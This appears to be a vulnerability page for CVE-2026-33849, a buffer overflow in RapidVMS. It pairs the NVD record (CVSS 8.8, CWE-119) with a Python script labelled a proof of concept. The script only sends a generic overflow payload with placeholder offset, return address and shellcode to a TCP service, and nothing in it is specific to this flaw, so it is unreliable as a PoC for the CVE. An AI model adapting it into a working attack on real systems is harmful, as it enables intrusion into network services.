CVE-2026-33849

# Proof of Concept for CVE-2026-33849 (Buffer Overflow) # This script demonstrates a generic buffer overflow attack pattern. # Target: LinkingVision RapidVMS (Versions before PR#96) import socket import sys def send_exploit(target_ip, target_port): # Create a malicious payload with a large buffer of 'A's # and a potential return address overwrite (placeholder). # Offset needs to be determined through debugging. offset = 1024 ret_addr = b"\x41\x41\x41\x41" # Placeholder address padding = b"\x90" * 32 shellcode = b"\xcc" * 100 # Placeholder shellcode (INT3) payload = b"A" * offset + ret_addr + padding + shellcode try: # Assuming a vulnerable TCP service (example) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print(f"[+] Sending payload to {target_ip}:{target_port}...") s.send(payload) s.close() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Usage: python poc.py <target_ip> <target_port> if len(sys.argv) < 3: print("Usage: python poc.py <IP> <PORT>") sys.exit(1) send_exploit(sys.argv[1], int(sys.argv[2]))

{"cve": {"id": "CVE-2026-33849", "sourceIdentifier": "[email protected]", "published": "2026-03-24T06:16:22.073", "lastModified": "2026-04-20T20:20:21.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in linkingvision rapidvms.This issue affects rapidvms: before PR#96."}, {"lang": "es", "value": "Restricción Inadecuada de Operaciones dentro de los Límites de un Búfer de Memoria vulnerabilidad en linkingvision rapidvms. Este problema afecta a rapidvms: antes de PR#96."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linkingvision:rapidvms:-:*:*:*:*:*:*:*", "matchCriteriaId": "66ED8209-0138-4730-B63D-839D8B5DAB01"}]}]}], "references": [{"url": "https://github.com/linkingvision/rapidvms/pull/96", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}